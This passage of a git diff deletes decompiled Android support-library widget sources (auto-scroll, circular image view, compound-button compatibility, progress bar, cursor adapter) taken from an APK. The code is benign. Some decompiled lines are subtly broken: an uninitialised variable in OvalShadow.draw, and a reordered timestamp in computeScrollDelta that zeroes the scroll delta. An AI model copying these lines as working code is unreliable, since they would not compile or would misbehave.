this.mNeedsReset = true; - if (!this.mAlreadyDelayed && (i = this.mActivationDelay) > 0) { - ViewCompat.postOnAnimationDelayed(this.mTarget, this.mRunnable, i); - } else { - this.mRunnable.run(); - } - this.mAlreadyDelayed = true; - } - - private void requestStop() { - if (this.mNeedsReset) { - this.mAnimating = false; - } else { - this.mScroller.requestStop(); - } - } - - private float computeTargetVelocity(int i, float f, float f2, float f3) { - float edgeValue = getEdgeValue(this.mRelativeEdges[i], f2, this.mMaximumEdges[i], f); - int i2 = (edgeValue > 0.0f ? 1 : (edgeValue == 0.0f ? 0 : -1)); - if (i2 == 0) { - return 0.0f; - } - float f4 = this.mRelativeVelocity[i]; - float f5 = this.mMinimumVelocity[i]; - float f6 = this.mMaximumVelocity[i]; - float f7 = f4 * f3; - if (i2 > 0) { - return constrain(edgeValue * f7, f5, f6); - } - return -constrain((-edgeValue) * f7, f5, f6); - } - - private float getEdgeValue(float f, float f2, float f3, float f4) { - float interpolation; - float constrain = constrain(f * f2, 0.0f, f3); - float constrainEdgeValue = constrainEdgeValue(f2 - f4, constrain) - constrainEdgeValue(f4, constrain); - if (constrainEdgeValue < 0.0f) { - interpolation = -this.mEdgeInterpolator.getInterpolation(-constrainEdgeValue); - } else if (constrainEdgeValue <= 0.0f) { - return 0.0f; - } else { - interpolation = this.mEdgeInterpolator.getInterpolation(constrainEdgeValue); - } - return constrain(interpolation, -1.0f, (float) DEFAULT_RELATIVE_VELOCITY); - } - - private float constrainEdgeValue(float f, float f2) { - if (f2 == 0.0f) { - return 0.0f; - } - int i = this.mEdgeType; - if (i == 0 || i == 1) { - if (f < f2) { - if (f >= 0.0f) { - return DEFAULT_RELATIVE_VELOCITY - (f / f2); - } - if (this.mAnimating && i == 1) { - return DEFAULT_RELATIVE_VELOCITY; - } - } - } else if (i == 2 && f < 0.0f) { - return f / (-f2); - } - return 0.0f; - } - - void cancelTargetTouch() { - long uptimeMillis = SystemClock.uptimeMillis(); - MotionEvent obtain = MotionEvent.obtain(uptimeMillis, uptimeMillis, 3, 0.0f, 0.0f, 0); - this.mTarget.onTouchEvent(obtain); - obtain.recycle(); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class ScrollAnimationRunnable implements Runnable { - ScrollAnimationRunnable() { - } - - @Override // java.lang.Runnable - public void run() { - if (AutoScrollHelper.this.mAnimating) { - if (AutoScrollHelper.this.mNeedsReset) { - AutoScrollHelper.this.mNeedsReset = false; - AutoScrollHelper.this.mScroller.start(); - } - ClampedScroller clampedScroller = AutoScrollHelper.this.mScroller; - if (clampedScroller.isFinished() || !AutoScrollHelper.this.shouldAnimate()) { - AutoScrollHelper.this.mAnimating = false; - return; - } - if (AutoScrollHelper.this.mNeedsCancel) { - AutoScrollHelper.this.mNeedsCancel = false; - AutoScrollHelper.this.cancelTargetTouch(); - } - clampedScroller.computeScrollDelta(); - AutoScrollHelper.this.scrollTargetBy(clampedScroller.getDeltaX(), clampedScroller.getDeltaY()); - ViewCompat.postOnAnimation(AutoScrollHelper.this.mTarget, this); - } - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ClampedScroller { - private int mEffectiveRampDown; - private int mRampDownDuration; - private int mRampUpDuration; - private float mStopValue; - private float mTargetVelocityX; - private float mTargetVelocityY; - private long mStartTime = Long.MIN_VALUE; - private long mStopTime = -1; - private long mDeltaTime = 0; - private int mDeltaX = 0; - private int mDeltaY = 0; - - private float interpolateValue(float f) { - return ((-4.0f) * f * f) + (f * 4.0f); - } - - ClampedScroller() { - } - - public void setRampUpDuration(int i) { - this.mRampUpDuration = i; - } - - public void setRampDownDuration(int i) { - this.mRampDownDuration = i; - } - - public void start() { - long currentAnimationTimeMillis = AnimationUtils.currentAnimationTimeMillis(); - this.mStartTime = currentAnimationTimeMillis; - this.mStopTime = -1L; - this.mDeltaTime = currentAnimationTimeMillis; - this.mStopValue = 0.5f; - this.mDeltaX = 0; - this.mDeltaY = 0; - } - - public void requestStop() { - long currentAnimationTimeMillis = AnimationUtils.currentAnimationTimeMillis(); - this.mEffectiveRampDown = AutoScrollHelper.constrain((int) (currentAnimationTimeMillis - this.mStartTime), 0, this.mRampDownDuration); - this.mStopValue = getValueAt(currentAnimationTimeMillis); - this.mStopTime = currentAnimationTimeMillis; - } - - public boolean isFinished() { - return this.mStopTime > 0 && AnimationUtils.currentAnimationTimeMillis() > this.mStopTime + ((long) this.mEffectiveRampDown); - } - - private float getValueAt(long j) { - long j2 = this.mStartTime; - if (j < j2) { - return 0.0f; - } - long j3 = this.mStopTime; - if (j3 < 0 || j < j3) { - return AutoScrollHelper.constrain(((float) (j - j2)) / this.mRampUpDuration, 0.0f, (float) AutoScrollHelper.DEFAULT_RELATIVE_VELOCITY) * 0.5f; - } - float f = this.mStopValue; - return (AutoScrollHelper.DEFAULT_RELATIVE_VELOCITY - f) + (f * AutoScrollHelper.constrain(((float) (j - j3)) / this.mEffectiveRampDown, 0.0f, (float) AutoScrollHelper.DEFAULT_RELATIVE_VELOCITY)); - } - - public void computeScrollDelta() { - if (this.mDeltaTime == 0) { - throw new RuntimeException("Cannot compute scroll delta before calling start()"); - } - long currentAnimationTimeMillis = AnimationUtils.currentAnimationTimeMillis(); - float interpolateValue = interpolateValue(getValueAt(currentAnimationTimeMillis)); - this.mDeltaTime = currentAnimationTimeMillis; - float f = ((float) (currentAnimationTimeMillis - this.mDeltaTime)) * interpolateValue; - this.mDeltaX = (int) (this.mTargetVelocityX * f); - this.mDeltaY = (int) (f * this.mTargetVelocityY); - } - - public void setTargetVelocity(float f, float f2) { - this.mTargetVelocityX = f; - this.mTargetVelocityY = f2; - } - - public int getHorizontalDirection() { - float f = this.mTargetVelocityX; - return (int) (f / Math.abs(f)); - } - - public int getVerticalDirection() { - float f = this.mTargetVelocityY; - return (int) (f / Math.abs(f)); - } - - public int getDeltaX() { - return this.mDeltaX; - } - - public int getDeltaY() { - return this.mDeltaY; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/CircleImageView.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/CircleImageView.java deleted file mode 100644 index 88b4f58..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/CircleImageView.java +++ /dev/null @@ -1,126 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.graphics.Canvas; -import android.graphics.Paint; -import android.graphics.RadialGradient; -import android.graphics.Shader; -import android.graphics.drawable.ShapeDrawable; -import android.graphics.drawable.shapes.OvalShape; -import android.support.v4.view.ViewCompat; -import android.view.animation.Animation; -import android.widget.ImageView; -/* JADX INFO: Access modifiers changed from: package-private */ -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CircleImageView extends ImageView { - private static final int FILL_SHADOW_COLOR = 1023410176; - private static final int KEY_SHADOW_COLOR = 503316480; - private static final int SHADOW_ELEVATION = 4; - private static final float SHADOW_RADIUS = 3.5f; - private static final float X_OFFSET = 0.0f; - private static final float Y_OFFSET = 1.75f; - private Animation.AnimationListener mListener; - int mShadowRadius; - - private boolean elevationSupported() { - return true; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public CircleImageView(Context context, int i) { - super(context); - ShapeDrawable shapeDrawable; - float f = getContext().getResources().getDisplayMetrics().density; - int i2 = (int) (Y_OFFSET * f); - int i3 = (int) (0.0f * f); - this.mShadowRadius = (int) (SHADOW_RADIUS * f); - if (elevationSupported()) { - shapeDrawable = new ShapeDrawable(new OvalShape()); - ViewCompat.setElevation(this, f * 4.0f); - } else { - ShapeDrawable shapeDrawable2 = new ShapeDrawable(new OvalShadow(this.mShadowRadius)); - ViewCompat.setLayerType(this, 1, shapeDrawable2.getPaint()); - shapeDrawable2.getPaint().setShadowLayer(this.mShadowRadius, i3, i2, KEY_SHADOW_COLOR); - int i4 = this.mShadowRadius; - setPadding(i4, i4, i4, i4); - shapeDrawable = shapeDrawable2; - } - shapeDrawable.getPaint().setColor(i); - setBackgroundDrawable(shapeDrawable); - } - - @Override // android.widget.ImageView, android.view.View - protected void onMeasure(int i, int i2) { - super.onMeasure(i, i2); - if (elevationSupported()) { - return; - } - setMeasuredDimension(getMeasuredWidth() + (this.mShadowRadius * 2), getMeasuredHeight() + (this.mShadowRadius * 2)); - } - - public void setAnimationListener(Animation.AnimationListener animationListener) { - this.mListener = animationListener; - } - - @Override // android.view.View - public void onAnimationStart() { - super.onAnimationStart(); - Animation.AnimationListener animationListener = this.mListener; - if (animationListener != null) { - animationListener.onAnimationStart(getAnimation()); - } - } - - @Override // android.view.View - public void onAnimationEnd() { - super.onAnimationEnd(); - Animation.AnimationListener animationListener = this.mListener; - if (animationListener != null) { - animationListener.onAnimationEnd(getAnimation()); - } - } - - public void setBackgroundColorRes(int i) { - setBackgroundColor(getContext().getResources().getColor(i)); - } - - @Override // android.view.View - public void setBackgroundColor(int i) { - if (getBackground() instanceof ShapeDrawable) { - ((ShapeDrawable) getBackground()).getPaint().setColor(i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class OvalShadow extends OvalShape { - private RadialGradient mRadialGradient; - private Paint mShadowPaint = new Paint(); - - OvalShadow(int i) { - CircleImageView.this.mShadowRadius = i; - updateRadialGradient((int) rect().width()); - } - - @Override // android.graphics.drawable.shapes.RectShape, android.graphics.drawable.shapes.Shape - protected void onResize(float f, float f2) { - super.onResize(f, f2); - updateRadialGradient((int) f); - } - - @Override // android.graphics.drawable.shapes.OvalShape, android.graphics.drawable.shapes.RectShape, android.graphics.drawable.shapes.Shape - public void draw(Canvas canvas, Paint paint) { - int width; - float width2 = CircleImageView.this.getWidth() / 2; - float height = CircleImageView.this.getHeight() / 2; - canvas.drawCircle(width2, height, width2, this.mShadowPaint); - canvas.drawCircle(width2, height, width - CircleImageView.this.mShadowRadius, paint); - } - - private void updateRadialGradient(int i) { - float f = i / 2; - RadialGradient radialGradient = new RadialGradient(f, f, CircleImageView.this.mShadowRadius, new int[]{CircleImageView.FILL_SHADOW_COLOR, 0}, (float[]) null, Shader.TileMode.CLAMP); - this.mRadialGradient = radialGradient; - this.mShadowPaint.setShader(radialGradient); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompat.java deleted file mode 100644 index f6586a2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompat.java +++ /dev/null @@ -1,114 +0,0 @@ -package android.support.v4.widget; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -import android.graphics.drawable.Drawable; -import android.widget.CompoundButton; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class CompoundButtonCompat { - private static final CompoundButtonCompatImpl IMPL = new Api23CompoundButtonImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface CompoundButtonCompatImpl { - Drawable getButtonDrawable(CompoundButton compoundButton); - - ColorStateList getButtonTintList(CompoundButton compoundButton); - - PorterDuff.Mode getButtonTintMode(CompoundButton compoundButton); - - void setButtonTintList(CompoundButton compoundButton, ColorStateList colorStateList); - - void setButtonTintMode(CompoundButton compoundButton, PorterDuff.Mode mode); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseCompoundButtonCompat implements CompoundButtonCompatImpl { - BaseCompoundButtonCompat() { - } - - @Override // android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public void setButtonTintList(CompoundButton compoundButton, ColorStateList colorStateList) { - CompoundButtonCompatGingerbread.setButtonTintList(compoundButton, colorStateList); - } - - @Override // android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public ColorStateList getButtonTintList(CompoundButton compoundButton) { - return CompoundButtonCompatGingerbread.getButtonTintList(compoundButton); - } - - @Override // android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public void setButtonTintMode(CompoundButton compoundButton, PorterDuff.Mode mode) { - CompoundButtonCompatGingerbread.setButtonTintMode(compoundButton, mode); - } - - @Override // android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public PorterDuff.Mode getButtonTintMode(CompoundButton compoundButton) { - return CompoundButtonCompatGingerbread.getButtonTintMode(compoundButton); - } - - @Override // android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public Drawable getButtonDrawable(CompoundButton compoundButton) { - return CompoundButtonCompatGingerbread.getButtonDrawable(compoundButton); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class LollipopCompoundButtonImpl extends BaseCompoundButtonCompat { - LollipopCompoundButtonImpl() { - } - - @Override // android.support.v4.widget.CompoundButtonCompat.BaseCompoundButtonCompat, android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public void setButtonTintList(CompoundButton compoundButton, ColorStateList colorStateList) { - CompoundButtonCompatLollipop.setButtonTintList(compoundButton, colorStateList); - } - - @Override // android.support.v4.widget.CompoundButtonCompat.BaseCompoundButtonCompat, android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public ColorStateList getButtonTintList(CompoundButton compoundButton) { - return CompoundButtonCompatLollipop.getButtonTintList(compoundButton); - } - - @Override // android.support.v4.widget.CompoundButtonCompat.BaseCompoundButtonCompat, android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public void setButtonTintMode(CompoundButton compoundButton, PorterDuff.Mode mode) { - CompoundButtonCompatLollipop.setButtonTintMode(compoundButton, mode); - } - - @Override // android.support.v4.widget.CompoundButtonCompat.BaseCompoundButtonCompat, android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public PorterDuff.Mode getButtonTintMode(CompoundButton compoundButton) { - return CompoundButtonCompatLollipop.getButtonTintMode(compoundButton); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api23CompoundButtonImpl extends LollipopCompoundButtonImpl { - Api23CompoundButtonImpl() { - } - - @Override // android.support.v4.widget.CompoundButtonCompat.BaseCompoundButtonCompat, android.support.v4.widget.CompoundButtonCompat.CompoundButtonCompatImpl - public Drawable getButtonDrawable(CompoundButton compoundButton) { - return CompoundButtonCompatApi23.getButtonDrawable(compoundButton); - } - } - - private CompoundButtonCompat() { - } - - public static void setButtonTintList(CompoundButton compoundButton, ColorStateList colorStateList) { - IMPL.setButtonTintList(compoundButton, colorStateList); - } - - public static ColorStateList getButtonTintList(CompoundButton compoundButton) { - return IMPL.getButtonTintList(compoundButton); - } - - public static void setButtonTintMode(CompoundButton compoundButton, PorterDuff.Mode mode) { - IMPL.setButtonTintMode(compoundButton, mode); - } - - public static PorterDuff.Mode getButtonTintMode(CompoundButton compoundButton) { - return IMPL.getButtonTintMode(compoundButton); - } - - public static Drawable getButtonDrawable(CompoundButton compoundButton) { - return IMPL.getButtonDrawable(compoundButton); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatApi23.java deleted file mode 100644 index bdddd03..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatApi23.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.widget; - -import android.graphics.drawable.Drawable; -import android.widget.CompoundButton; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class CompoundButtonCompatApi23 { - CompoundButtonCompatApi23() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Drawable getButtonDrawable(CompoundButton compoundButton) { - return compoundButton.getButtonDrawable(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatGingerbread.java deleted file mode 100644 index 95af84f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatGingerbread.java +++ /dev/null @@ -1,71 +0,0 @@ -package android.support.v4.widget; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -import android.graphics.drawable.Drawable; -import android.util.Log; -import android.widget.CompoundButton; -import java.lang.reflect.Field; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class CompoundButtonCompatGingerbread { - private static final String TAG = "CompoundButtonCompatGingerbread"; - private static Field sButtonDrawableField; - private static boolean sButtonDrawableFieldFetched; - - CompoundButtonCompatGingerbread() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setButtonTintList(CompoundButton compoundButton, ColorStateList colorStateList) { - if (compoundButton instanceof TintableCompoundButton) { - ((TintableCompoundButton) compoundButton).setSupportButtonTintList(colorStateList); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static ColorStateList getButtonTintList(CompoundButton compoundButton) { - if (compoundButton instanceof TintableCompoundButton) { - return ((TintableCompoundButton) compoundButton).getSupportButtonTintList(); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setButtonTintMode(CompoundButton compoundButton, PorterDuff.Mode mode) { - if (compoundButton instanceof TintableCompoundButton) { - ((TintableCompoundButton) compoundButton).setSupportButtonTintMode(mode); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static PorterDuff.Mode getButtonTintMode(CompoundButton compoundButton) { - if (compoundButton instanceof TintableCompoundButton) { - return ((TintableCompoundButton) compoundButton).getSupportButtonTintMode(); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Drawable getButtonDrawable(CompoundButton compoundButton) { - if (!sButtonDrawableFieldFetched) { - try { - Field declaredField = CompoundButton.class.getDeclaredField("mButtonDrawable"); - sButtonDrawableField = declaredField; - declaredField.setAccessible(true); - } catch (NoSuchFieldException e) { - Log.i(TAG, "Failed to retrieve mButtonDrawable field", e); - } - sButtonDrawableFieldFetched = true; - } - Field field = sButtonDrawableField; - if (field != null) { - try { - return (Drawable) field.get(compoundButton); - } catch (IllegalAccessException e2) { - Log.i(TAG, "Failed to get button drawable via reflection", e2); - sButtonDrawableField = null; - } - } - return null; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatLollipop.java deleted file mode 100644 index 0ae2d37..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/CompoundButtonCompatLollipop.java +++ /dev/null @@ -1,30 +0,0 @@ -package android.support.v4.widget; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -import android.widget.CompoundButton; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class CompoundButtonCompatLollipop { - CompoundButtonCompatLollipop() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setButtonTintList(CompoundButton compoundButton, ColorStateList colorStateList) { - compoundButton.setButtonTintList(colorStateList); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static ColorStateList getButtonTintList(CompoundButton compoundButton) { - return compoundButton.getButtonTintList(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setButtonTintMode(CompoundButton compoundButton, PorterDuff.Mode mode) { - compoundButton.setButtonTintMode(mode); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static PorterDuff.Mode getButtonTintMode(CompoundButton compoundButton) { - return compoundButton.getButtonTintMode(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/ContentLoadingProgressBar.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/ContentLoadingProgressBar.java deleted file mode 100644 index ff2450c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/ContentLoadingProgressBar.java +++ /dev/null @@ -1,90 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.util.AttributeSet; -import android.widget.ProgressBar; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class ContentLoadingProgressBar extends ProgressBar { - private static final int MIN_DELAY = 500; - private static final int MIN_SHOW_TIME = 500; - private final Runnable mDelayedHide; - private final Runnable mDelayedShow; - boolean mDismissed; - boolean mPostedHide; - boolean mPostedShow; - long mStartTime; - - public ContentLoadingProgressBar(Context context) { - this(context, null); - } - - public ContentLoadingProgressBar(Context context, AttributeSet attributeSet) { - super(context, attributeSet, 0); - this.mStartTime = -1L; - this.mPostedHide = false; - this.mPostedShow = false; - this.mDismissed = false; - this.mDelayedHide = new Runnable() { // from class: android.support.v4.widget.ContentLoadingProgressBar.1 - @Override // java.lang.Runnable - public void run() { - ContentLoadingProgressBar.this.mPostedHide = false; - ContentLoadingProgressBar.this.mStartTime = -1L; - ContentLoadingProgressBar.this.setVisibility(8); - } - }; - this.mDelayedShow = new Runnable() { // from class: android.support.v4.widget.ContentLoadingProgressBar.2 - @Override // java.lang.Runnable - public void run() { - ContentLoadingProgressBar.this.mPostedShow = false; - if (ContentLoadingProgressBar.this.mDismissed) { - return; - } - ContentLoadingProgressBar.this.mStartTime = System.currentTimeMillis(); - ContentLoadingProgressBar.this.setVisibility(0); - } - }; - } - - @Override // android.widget.ProgressBar, android.view.View - public void onAttachedToWindow() { - super.onAttachedToWindow(); - removeCallbacks(); - } - - @Override // android.widget.ProgressBar, android.view.View - public void onDetachedFromWindow() { - super.onDetachedFromWindow(); - removeCallbacks(); - } - - private void removeCallbacks() { - removeCallbacks(this.mDelayedHide); - removeCallbacks(this.mDelayedShow); - } - - public void hide() { - this.mDismissed = true; - removeCallbacks(this.mDelayedShow); - long currentTimeMillis = System.currentTimeMillis(); - long j = this.mStartTime; - long j2 = currentTimeMillis - j; - if (j2 >= 500 || j == -1) { - setVisibility(8); - } else if (this.mPostedHide) { - } else { - postDelayed(this.mDelayedHide, 500 - j2); - this.mPostedHide = true; - } - } - - public void show() { - this.mStartTime = -1L; - this.mDismissed = false; - removeCallbacks(this.mDelayedHide); - if (this.mPostedShow) { - return; - } - postDelayed(this.mDelayedShow, 500L); - this.mPostedShow = true; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/CursorAdapter.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/CursorAdapter.java deleted file mode 100644 index 7e8ed2c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/CursorAdapter.java +++ /dev/null @@ -1,271 +0,0 @@ -package android.support.v4.widget; - -import android.content.Context; -import android.database.ContentObserver; -import android.database.Cursor; -import android.database.DataSetObserver; -import android.os.Handler; -import android.support.v4.widget.CursorFilter; -import android.view.View; -import android.view.ViewGroup; -import android.widget.BaseAdapter; -import android.widget.Filter; -import android.widget.FilterQueryProvider; -import android.widget.Filterable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class CursorAdapter extends BaseAdapter implements Filterable, CursorFilter.CursorFilterClient { - @Deprecated - public static final int FLAG_AUTO_REQUERY = 1; - public static final int FLAG_REGISTER_CONTENT_OBSERVER = 2; - protected boolean mAutoRequery; - protected ChangeObserver mChangeObserver; - protected Context mContext; - protected Cursor mCursor; - protected CursorFilter mCursorFilter; - protected DataSetObserver mDataSetObserver; - protected boolean mDataValid; - protected FilterQueryProvider mFilterQueryProvider; - protected int mRowIDColumn; - - public abstract void bindView(View view, Context context, Cursor cursor); - - @Override // android.widget.BaseAdapter, android.widget.Adapter - public boolean hasStableIds() { - return true; - } - - public abstract View newView(Context context, Cursor cursor, ViewGroup viewGroup); - - @Deprecated - public CursorAdapter(Context context, Cursor cursor) { - init(context, cursor, 1); - } - - public CursorAdapter(Context context, Cursor cursor, boolean z) { - init(context, cursor, z ? 1 : 2); - } - - public CursorAdapter(Context context, Cursor cursor, int i) { - init(context, cursor, i); - } - - @Deprecated - protected void init(Context context, Cursor cursor, boolean z) { - init(context, cursor, z ? 1 : 2); - } - - void init(Context context, Cursor cursor, int i) { - if ((i & 1) == 1) { - i |= 2; - this.mAutoRequery = true; - } else { - this.mAutoRequery = false; - } - boolean z = cursor != null; - this.mCursor = cursor; - this.mDataValid = z; - this.mContext = context; - this.mRowIDColumn = z ? cursor.getColumnIndexOrThrow("_id") : -1; - if ((i & 2) == 2) { - this.mChangeObserver = new ChangeObserver(); - this.mDataSetObserver = new MyDataSetObserver(); - } else { - this.mChangeObserver = null; - this.mDataSetObserver = null; - } - if (z) { - ChangeObserver changeObserver = this.mChangeObserver; - if (changeObserver != null) { - cursor.registerContentObserver(changeObserver); - } - DataSetObserver dataSetObserver = this.mDataSetObserver; - if (dataSetObserver != null) { - cursor.registerDataSetObserver(dataSetObserver); - } - } - } - - @Override // android.support.v4.widget.CursorFilter.CursorFilterClient - public Cursor getCursor() { - return this.mCursor; - } - - @Override // android.widget.Adapter - public int getCount() { - Cursor cursor; - if (!this.mDataValid || (cursor = this.mCursor) == null) { - return 0; - } - return cursor.getCount(); - } - - @Override // android.widget.Adapter - public Object getItem(int i) { - Cursor cursor; - if (!this.mDataValid || (cursor = this.mCursor) == null) { - return null; - } - cursor.moveToPosition(i); - return this.mCursor; - } - - @Override // android.widget.Adapter - public long getItemId(int i) { - Cursor cursor; - if (this.mDataValid && (cursor = this.mCursor) != null && cursor.moveToPosition(i)) { - return this.mCursor.getLong(this.mRowIDColumn); - } - return 0L; - } - - @Override // android.widget.Adapter - public View getView(int i, View view, ViewGroup viewGroup) { - if (!this.mDataValid) { - throw new IllegalStateException("this should only be called when the cursor is valid"); - } - if (!this.mCursor.moveToPosition(i)) { - throw new IllegalStateException("couldn't move cursor to position " + i); - } - if (view == null) { - view = newView(this.mContext, this.mCursor, viewGroup); - } - bindView(view, this.mContext, this.mCursor); - return view; - } - - @Override // android.widget.BaseAdapter, android.widget.SpinnerAdapter - public View getDropDownView(int i, View view, ViewGroup viewGroup) { - if (this.mDataValid) { - this.mCursor.moveToPosition(i); - if (view == null) { - view = newDropDownView(this.mContext, this.mCursor, viewGroup); - } - bindView(view, this.mContext, this.mCursor); - return view; - } - return null; - } - - public View newDropDownView(Context context, Cursor cursor, ViewGroup viewGroup) { - return newView(context, cursor, viewGroup); - } - - @Override // android.support.v4.widget.CursorFilter.CursorFilterClient - public void changeCursor(Cursor cursor) { - Cursor swapCursor = swapCursor(cursor); - if (swapCursor != null) { - swapCursor.close(); - } - } - - public Cursor swapCursor(Cursor cursor) { - Cursor cursor2 = this.mCursor; - if (cursor == cursor2) { - return null; - } - if (cursor2 != null) { - ChangeObserver changeObserver = this.mChangeObserver; - if (changeObserver != null) { - cursor2.unregisterContentObserver(changeObserver); - } - DataSetObserver dataSetObserver = this.mDataSetObserver; - if (dataSetObserver != null) { - cursor2.unregisterDataSetObserver(dataSetObserver); - } - } - this.mCursor = cursor; - if (cursor != null) { - ChangeObserver changeObserver2 = this.mChangeObserver; - if (changeObserver2 != null) { - cursor.registerContentObserver(changeObserver2); - } - DataSetObserver dataSetObserver2 = this.mDataSetObserver; - if (dataSetObserver2 != null) { - cursor.registerDataSetObserver(dataSetObserver2); - } - this.mRowIDColumn = cursor.getColumnIndexOrThrow("_id"); - this.mDataValid = true; - notifyDataSetChanged(); - } else { - this.mRowIDColumn = -1; - this.mDataValid = false; - notifyDataSetInvalidated(); - } - return cursor2; - } - - @Override // android.support.v4.widget.CursorFilter.CursorFilterClient - public CharSequence convertToString(Cursor cursor) { - return cursor == null ? "" : cursor.toString(); - } - - @Override // android.support.v4.widget.CursorFilter.CursorFilterClient - public Cursor runQueryOnBackgroundThread(CharSequence charSequence) { - FilterQueryProvider filterQueryProvider = this.mFilterQueryProvider; - if (filterQueryProvider != null) { - return filterQueryProvider.runQuery(charSequence); - } - return this.mCursor; - } - - @Override // android.widget.Filterable - public Filter getFilter() { - if (this.mCursorFilter == null) { - this.mCursorFilter = new CursorFilter(this); - } - return this.mCursorFilter; - } - - public FilterQueryProvider getFilterQueryProvider() { - return this.mFilterQueryProvider; - } - - public void setFilterQueryProvider(FilterQueryProvider filterQueryProvider) { - this.mFilterQueryProvider = filterQueryProvider; - } - - protected void onContentChanged() { - Cursor cursor; - if (!this.mAutoRequery || (cursor = this.mCursor) == null || cursor.isClosed()) { - return; - } - this.mDataValid = this.mCursor.requery(); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class ChangeObserver extends ContentObserver { - @Override // android.database.ContentObserver - public boolean deliverSelfNotifications() { - return true; - } - - ChangeObserver() { - super(new Handler()); - } - - @Override // android.database.ContentObserver - public void onChange(boolean z) { - CursorAdapter.this.onContentChanged(); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public class MyDataSetObserver extends DataSetObserver { - MyDataSetObserver() { - } - - @Override // android.database.DataSetObserver - public void onChanged() { - CursorAdapter.this.mDataValid = true; - CursorAdapter.this.notifyDataSetChanged(); - } - - @Override // android.database.DataSetObserver - public void onInvalidated() { - CursorAdapter.this.mDataValid = false; - CursorAdapter.this.notifyDataSetInvalidated(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/widget/CursorFilter.java b/apk_3230/decompiled_source/sources/android/support/v4/widget/CursorFilter.java deleted file mode 100644 index de6a4e9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/widget/CursorFilter.java +++ /dev/null @@ -1,52 +0,0 @@ -package android.support.v4.widget; - -import android.database.Cursor; -import android.widget.Filter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class CursorFilter extends Filter { - CursorFilterClient mClient; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface CursorFilterClient { - void changeCursor(Cursor cursor); - - CharSequence convertToString(Cursor cursor); - - Cursor getCursor(); - - Cursor runQueryOnBackgroundThread(CharSequence charSequence); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public CursorFilter(CursorFilterClient cursorFilterClient) { - this.mClient = 